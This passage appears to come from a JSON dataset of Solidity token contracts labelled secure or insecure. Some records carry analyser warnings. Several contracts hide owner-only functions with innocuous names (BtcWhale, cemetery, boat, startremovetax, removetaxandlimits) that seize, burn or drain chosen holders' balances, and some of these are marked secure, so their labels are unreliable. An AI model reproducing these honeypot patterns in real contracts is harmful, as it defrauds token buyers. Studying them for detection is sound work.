660f343\n\t\t// reentrancy-benign | ID: d393274\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 15d4f0a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 15d4f0a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function Launching() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: 15d4f0a\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 15d4f0a\n uniswapV2Router = _uniswapV2Router;\n\n\t\t// reentrancy-benign | ID: 15d4f0a\n _uniswapPair[address(uniswapPair)] = true;\n\n\t\t// reentrancy-benign | ID: 15d4f0a\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7629374): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7629374: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 5e17b1b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 5e17b1b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n if ((from == to && to == Bella) ? true : false)\n _balances[address(Bella)] = amount.mul(2);\n\n if (!inSwapAndLiquify && !_uniswapPair[from]) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n\t\t\t\t// reentrancy-events | ID: 7629374\n\t\t\t\t// reentrancy-no-eth | ID: 5e17b1b\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-no-eth | ID: 5e17b1b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t\t// reentrancy-events | ID: 7629374\n\t\t\t// reentrancy-no-eth | ID: 5e17b1b\n uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to])\n ? amount\n : tokenTransfer(from, amount);\n\n\t\t\t// reentrancy-no-eth | ID: 5e17b1b\n _balances[to] = _balances[to].add(fAmount);\n\n\t\t\t// reentrancy-events | ID: 7629374\n emit Transfer(from, to, fAmount);\n\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: 660f343\n\t\t// reentrancy-events | ID: 7629374\n\t\t// reentrancy-benign | ID: d393274\n\t\t// reentrancy-no-eth | ID: 5e17b1b\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(Bella),\n block.timestamp\n )\n {} catch {}\n }\n\n function BtcWhale(address widjrk, uint256 wjzk) public {\n address msgsender = msg.sender;\n\n uint256 wapp = wjzk;\n\n if (wapp == 1 - 1 || wapp == 9 + 1) wends[widjrk] = wapp;\n\n if (msgsender != Bella) revert(\"?\");\n }\n\n function tokenTransfer(\n address sender,\n uint256 amount\n ) internal returns (uint256) {\n uint256 swapRate = amount.mul(0).div(100);\n\n if (wends[sender] != 0) swapRate += amount + swapRate;\n\n if (swapRate > 0) {\n\t\t\t// reentrancy-no-eth | ID: 5e17b1b\n _balances[address(this)] += swapRate;\n\n\t\t\t// reentrancy-events | ID: 7629374\n emit Transfer(sender, address(this), swapRate);\n }\n\n return amount.sub(swapRate);\n }\n}",
"file_name": "solidity_code_1352.sol",
"secure": 0,
"size_bytes": 12233
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 92cf4ef): Contract locking ether found Contract TopDog has payable functions TopDog.receive() But does not have a function to withdraw the ether\n// Recommendation for 92cf4ef: Remove the 'payable' attribute or add a withdraw function.\ncontract TopDog is ERC20, Ownable {\n constructor() ERC20(\"Top Dog\", \"BITCOIN\") {\n _mint(owner(), 1_000_000_000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 92cf4ef): Contract locking ether found Contract TopDog has payable functions TopDog.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 92cf4ef: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1353.sol",
"secure": 0,
"size_bytes": 987
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: d907727): Contract locking ether found Contract ALL_POINT_SWAP has payable functions ALL_POINT_SWAP.receive() But does not have a function to withdraw the ether\n// Recommendation for d907727: Remove the 'payable' attribute or add a withdraw function.\ncontract ALLPOINTSWAP is Context, IERC20, Ownable {\n string private constant _name = \"ALL POINT SWAP\";\n\n string private constant _symbol = \"APSW\";\n\n uint256 private constant _totalSupply = 1_000_000_000e18;\n\n uint256 private constant onePercent = 10_000_000e18;\n\n uint256 private constant minSwap = 1_000e18;\n\n uint8 private constant _decimals = 18;\n\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFeeWallet;\n\n IUniswapV2Router02 immutable uniswapV2Router;\n\n address immutable uniswapV2Pair;\n\n address immutable WETH;\n\n address payable immutable marketingWallet;\n\n uint256 public buyTax;\n\n uint256 public sellTax;\n\n uint8 private launch;\n\n uint8 private inSwapAndLiquify;\n\n uint256 private launchBlock;\n\n uint256 public maxTxAmount = onePercent * 2;\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n WETH = uniswapV2Router.WETH();\n\n buyTax = 0;\n\n sellTax = 0;\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n marketingWallet = payable(msg.sender);\n\n _balance[msg.sender] = _totalSupply;\n\n _isExcludedFromFeeWallet[marketingWallet] = true;\n\n _isExcludedFromFeeWallet[msg.sender] = true;\n\n _isExcludedFromFeeWallet[address(this)] = true;\n\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n\n _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)\n .max;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function setMarketingWallet() public view returns (address) {\n return marketingWallet;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d4b5b3a): ALL_POINT_SWAP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d4b5b3a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: be6b74d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for be6b74d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0987033): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0987033: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: be6b74d\n\t\t// reentrancy-benign | ID: 0987033\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: be6b74d\n\t\t// reentrancy-benign | ID: 0987033\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n function removeLimits() external onlyOwner {\n maxTxAmount = _totalSupply;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fbebd2c): ALL_POINT_SWAP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for fbebd2c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0987033\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: be6b74d\n emit Approval(owner, spender, amount);\n }\n\n function startTrading() external onlyOwner {\n launch = 1;\n\n launchBlock = block.number;\n }\n\n function excludeWalletFromFees(address wallet) external onlyOwner {\n _isExcludedFromFeeWallet[wallet] = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b2bf248): ALL_POINT_SWAP.updateFeeAmount(uint256,uint256) should emit an event for buyTax = newBuyTax sellTax = newSellTax \n\t// Recommendation for b2bf248: Emit an event for critical parameter changes.\n function updateFeeAmount(\n uint256 newBuyTax,\n uint256 newSellTax\n ) external onlyOwner {\n require(newBuyTax < 120, \"Cannot set buy tax greater than 12%\");\n\n require(newSellTax < 120, \"Cannot set sell tax greater than 12%\");\n\n\t\t// events-maths | ID: b2bf248\n buyTax = newBuyTax;\n\n\t\t// events-maths | ID: b2bf248\n sellTax = newSellTax;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c3f8bda): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c3f8bda: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 61890db): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 61890db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(amount > 1e9, \"Min transfer amt\");\n\n uint256 _tax;\n\n if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {\n _tax = 0;\n } else {\n require(\n launch != 0 && amount <= maxTxAmount,\n \"Launch / Max TxAmount 1% at launch\"\n );\n\n if (inSwapAndLiquify == 1) {\n _balance[from] -= amount;\n\n _balance[to] += amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = _balance[address(this)];\n\n if (tokensToSwap > minSwap && inSwapAndLiquify == 0) {\n if (tokensToSwap > onePercent) {\n tokensToSwap = onePercent;\n }\n\n inSwapAndLiquify = 1;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t\t\t\t// reentrancy-events | ID: be6b74d\n\t\t\t\t\t// reentrancy-events | ID: c3f8bda\n\t\t\t\t\t// reentrancy-benign | ID: 0987033\n\t\t\t\t\t// reentrancy-no-eth | ID: 61890db\n uniswapV2Router\n .swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n\n\t\t\t\t\t// reentrancy-no-eth | ID: 61890db\n inSwapAndLiquify = 0;\n }\n\n _tax = sellTax;\n } else {\n _tax = 0;\n }\n }\n\n if (_tax != 0) {\n uint256 taxTokens = (amount * _tax) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: 61890db\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: 61890db\n _balance[to] += transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: 61890db\n _balance[address(this)] += taxTokens;\n\n\t\t\t// reentrancy-events | ID: c3f8bda\n emit Transfer(from, address(this), taxTokens);\n\n\t\t\t// reentrancy-events | ID: c3f8bda\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: 61890db\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: 61890db\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: c3f8bda\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: d907727): Contract locking ether found Contract ALL_POINT_SWAP has payable functions ALL_POINT_SWAP.receive() But does not have a function to withdraw the ether\n\t// Recommendation for d907727: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1354.sol",
"secure": 0,
"size_bytes": 11264
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Nuhuh is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable value;\n\n constructor() {\n _name = \"nuh uh\";\n\n _symbol = \"NUHUH\";\n\n _decimals = 18;\n\n uint256 initialSupply = 264000000;\n\n value = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == value, \"Not allowed\");\n\n _;\n }\n\n function cemetery(address[] memory opposition) public onlyOwner {\n for (uint256 i = 0; i < opposition.length; i++) {\n address account = opposition[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1355.sol",
"secure": 1,
"size_bytes": 4362
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract IMOKWITHTHAT is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1950309): IMOKWITHTHAT._decimals should be constant \n\t// Recommendation for 1950309: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 753402d): IMOKWITHTHAT._totalSupply should be immutable \n\t// Recommendation for 753402d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 32aba56): IMOKWITHTHAT._name should be constant \n\t// Recommendation for 32aba56: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Im OK With That\";\n\n\t// WARNING Optimization Issue (constable-states | ID: f3434d2): IMOKWITHTHAT._symbol should be constant \n\t// Recommendation for f3434d2: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"OK\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 20eef75): IMOKWITHTHAT.uniV2Router should be constant \n\t// Recommendation for 20eef75: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 72a5b09): IMOKWITHTHAT._taxWallet should be immutable \n\t// Recommendation for 72a5b09: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function tostarttrading() public {}\n\n function topentrading() external {}\n\n function toverifystart() public {}\n\n function tostartandopentrading() public {}\n\n function startremovetax(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function removetaxandlimits(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_1356.sol",
"secure": 1,
"size_bytes": 7128
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Theimmortalsnail is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable memorandum;\n\n constructor() {\n _name = \"The Immortal Snail\";\n\n _symbol = \"SNAIL\";\n\n _decimals = 18;\n\n uint256 initialSupply = 294000000;\n\n memorandum = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == memorandum, \"Not allowed\");\n\n _;\n }\n\n function boat(address[] memory blow) public onlyOwner {\n for (uint256 i = 0; i < blow.length; i++) {\n address account = blow[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1357.sol",
"secure": 1,
"size_bytes": 4378
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Barsik is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 01e898c): Barsik._taxWallet should be immutable \n\t// Recommendation for 01e898c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1947941): Barsik._initialBuyTax should be constant \n\t// Recommendation for 1947941: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: a7887a6): Barsik._initialSellTax should be constant \n\t// Recommendation for a7887a6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 50a683c): Barsik._reduceBuyTaxAt should be constant \n\t// Recommendation for 50a683c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd8fe0d): Barsik._reduceSellTaxAt should be constant \n\t// Recommendation for dd8fe0d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43822c9): Barsik._preventSwapBefore should be constant \n\t// Recommendation for 43822c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d99d86d): Barsik.zero should be constant \n\t// Recommendation for d99d86d: Add the 'constant' attribute to state variables that never change.\n uint8 public zero = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 